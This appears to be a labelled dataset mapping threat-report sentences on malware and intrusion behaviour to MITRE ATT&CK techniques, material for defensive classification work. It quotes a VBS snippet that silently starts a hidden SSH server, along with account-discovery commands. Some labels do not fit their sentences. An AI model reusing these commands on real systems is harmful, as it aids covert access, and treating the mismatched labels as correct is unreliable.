- T1105: Ingress Tool Transfer
Threat description: 
installs a service on the remote system, executes the command, then uninstalls the service.
MITRE ATT&CK techniques:
- T1569.002: System Services - Service Execution
Threat description: 
TG-3390 attempts to reenter the environment by identifying accounts that do not require two-factor authentication for remote access solutions, and then brute forcing usernames and passwords
MITRE ATT&CK techniques:
- T1110: Brute Force
Threat description: 
The attack involved the new HAWKBALL backdoor being delivered via well-known Microsoft Office vulnerabilities CVE-2017-11882 and CVE-2018-0802.
MITRE ATT&CK techniques:
- T1203: Exploitation for Client Execution
Threat description: 
Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious “scriptlet” file, or .sct file, which is also embedded in the malicious RTF document
MITRE ATT&CK techniques:
- T1203: Exploitation for Client Execution
Threat description: 
[2] Threat groups use strategic web compromises (SWCs), also known as watering hole attacks, to target a wide array of potential victims
MITRE ATT&CK techniques:
- T1189: Drive-by Compromise
Threat description: 
Microphone, Voice IP applications
MITRE ATT&CK techniques:
- T1123: Audio Capture
Threat description: 
performs a connection test to discover remote systems in the network
MITRE ATT&CK techniques:
- T1018: Remote System Discovery
Threat description: 
Using this information, they can decide to explore further or instruct the compromised computer to download additional malware
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
Get-TimedScreenshot Exfiltration module can take screenshots at regular intervals.
MITRE ATT&CK techniques:
- T1113: Screen Capture
Threat description: 
collects the victim username along with other account information (account type, description, full name, SID and status).
MITRE ATT&CK techniques:
- T1033: System Owner/User Discovery
Threat description: 
The OopsIE payload checks to see if the result of this query as more than 0 elements to determine if it is running on a virtual machine
MITRE ATT&CK techniques:
- T1497.001: Virtualization/Sandbox Evasion - System Checks
- T1497: Virtualization/Sandbox Evasion
Threat description: 
In the order to run the SSH server, the attackers created a VBS file with the following content: Set WshShell = CreateObject(“WScript.Shell”) WshShell.CurrentDirectory = “C:\WINDOWS\TEMP\Dropbear\” WshShell.Run “dropbear.exe -r rsa -d dss -a -p 6789”, 0, false As is evident here, the SSH server will accept connections on port number 6789
MITRE ATT&CK techniques:
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: 
This is the first time that Bankshot has been tied directly to financial-related hacking and the first time it has been used since November 2017
MITRE ATT&CK techniques:
- T1124: System Time Discovery
Threat description: 
can communicate using HTTP or HTTPS.
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
can inject content into lsass.exe to load a module.
MITRE ATT&CK techniques:
- T1055: Process Injection
Threat description: 
sends collected files back over same C2 channel.
MITRE ATT&CK techniques:
- T1041: Exfiltration Over C2 Channel
Threat description: 
installs itself as a service for persistence.
MITRE ATT&CK techniques:
- T1543.003: Create or Modify System Process - Windows Service
Threat description: 
The  group is known to have used RDP during operations.
MITRE ATT&CK techniques:
- T1021.001: Remote Services - Remote Desktop Protocol
Threat description: 
prompts the users for credentials.
MITRE ATT&CK techniques:
- T1056: Input Capture
Threat description: 
collects the victim host name and serial number, and then sends the information to the C2 server.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
uses net.exe to connect to network shares using net use commands with compromised credentials.
MITRE ATT&CK techniques:
- T1021.002: Remote Services - SMB/Windows Admin Shares
Threat description: 
can use steganography to hide malicious code downloaded to the victim.
MITRE ATT&CK techniques:
- T1001: Data Obfuscation
Threat description: 
stole domain credentials from Microsoft Active Directory Domain Controller and leveraged .
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
can obtain a list of running processes on the system.
MITRE ATT&CK techniques:
- T1057: Process Discovery
Threat description: 
VPN and to persist in same sentence
MITRE ATT&CK techniques:
- T1133: External Remote Services
Threat description: 
has used net user to conduct internal discovery of systems.
MITRE ATT&CK techniques:
- T1087: Account Discovery
Threat description: 
The file will be inflated in order to retrieve a RTF document, this document will be displayed to the infected user by executing Wordpad.Here is the PDB path from the PoohMilk sample:E:\BIG_POOH\Project\milk\Release\milk.pdbFreenki SampleThe purpose of Freenki is to collect information on the infected system and to download a third executable
MITRE ATT&CK techniques:
- T1082: System Information Discovery
- T1105: Ingress Tool Transfer
Threat description: 
contains a feature to manipulate process privileges and tokens.
MITRE ATT&CK techniques:
- T1134: Access Token Manipulation
Threat description: 
Takes screenshots when recording VoiceIP app audio
MITRE ATT&CK techniques:
- T1113: Screen Capture
- T1123: Audio Capture
Threat description: 
uses HTTP for command and control.
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
can compress data before sending it.
MITRE ATT&CK techniques:
- T1560: Archive Collected Data
Threat description: 
has used TCP port 8080 for C2.
MITRE ATT&CK techniques:
- T1043: Commonly Used Port
Threat description: 
The full contents of the batch script are given in Appendix C – a.bat
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1064: Scripting
Threat description: 
If the victim is using PowerShell 3.0 or later,  writes its decoded payload to an alternate data stream (ADS) named kernel32.dll that is saved in %PROGRAMDATA%\Windows\.
MITRE ATT&CK techniques:
- T1564.004: Hide Artifacts - NTFS File Attributes
Threat description: 
Adversaries can direct  to upload files to the C2 Server.
MITRE ATT&CK techniques:
- T1041: Exfiltration Over C2 Channel
Threat description: 
uses commonly used ports (like HTTPS/443) for command and control.
MITRE ATT&CK techniques:
- T1043: Commonly Used Port
Threat description: 
collects lists of local accounts with administrative access, local group user accounts, and domain local groups with the commands net localgroup administrators, net localgroup users, and net localgroup /domain.
MITRE ATT&CK techniques:
- T1069: Permission Groups Discovery
Threat description: 
Figure 2: AuditCred/ROptimizer Service If successfully installed, this particular backdoor poses quite a threat to its target
MITRE ATT&CK techniques:
- T1543: Create or Modify System Process
- T1543.003: Create or Modify System Process - Windows Service
Threat description: 
launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL.
MITRE ATT&CK techniques:
- T1574.002: Hijack Execution Flow - DLL Side-Loading
Threat description: 
regained access after eviction via the corporate VPN solution with a stolen VPN certificate, which they had extracted from a compromised host.
MITRE ATT&CK techniques:
- T1133: External Remote Services
Threat description: 
actors mapped network drives using net use.
MITRE ATT&CK techniques:
- T1021.002: Remote Services - SMB/Windows Admin Shares
Threat description: 
has the ability to remotely execute commands.
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims.
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
First, we had not seen the CPU fan check used before, and upon testing the WMI query in a VMware Windows 7 virtual machine we saw no result, as seen in Figure 1  Figure 1 WMI query for the Win32_Fan class on a VM returning no statistics However, when we ran the same query in a physical system running Windows 7, we saw the contents of the Win32_Fan class, as seen in Figure 2
MITRE ATT&CK techniques:
- T1047: Windows Management Instrumentation
- T1497: Virtualization/Sandbox Evasion
Threat description: 
CRYPTO::Extract module can extract keys by interacting with Windows cryptographic application programming interface (API) functions.
MITRE ATT&CK techniques:
- T1552.004: Unsecured Credentials - Private Keys
Threat description: 
contains a collection of ScriptModification modules that compress and encode scripts and payloads.
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
can perform webcam viewing.
MITRE ATT&CK techniques:
- T1125: Video Capture
Threat description: 
XAgent uses HTTP requests to communicate with its C2 servers, which allows the threat actor to interact with the compromised system
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
appears to have functionality to sniff for credentials passed over HTTP, SMTP, and SMB.
MITRE ATT&CK techniques:
- T1040: Network Sniffing
Threat description: 
has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.
MITRE ATT&CK techniques:
- T1547.009: Boot or Logon Autostart Execution - Shortcut Modification
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: 
[9] “HKU concern group raises proxy fears in key vote.” EIJ Insight
MITRE ATT&CK techniques:
- T1090: Proxy
Threat description: 
It’s important to remember, that while we were using Bitly links to help gauge click location, anyone who clicks these links (including researchers) are also counted
MITRE ATT&CK techniques:
- T1598.003: Phishing for Information - Spearphishing Link
Threat description: 
Later variants upload the file to a web server via an HTTP post command
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
has gathered information about network IP configurations using .exe and about routing tables using .exe.
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
Threat description: 
has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.
MITRE ATT&CK techniques:
- T1046: Network Service Discovery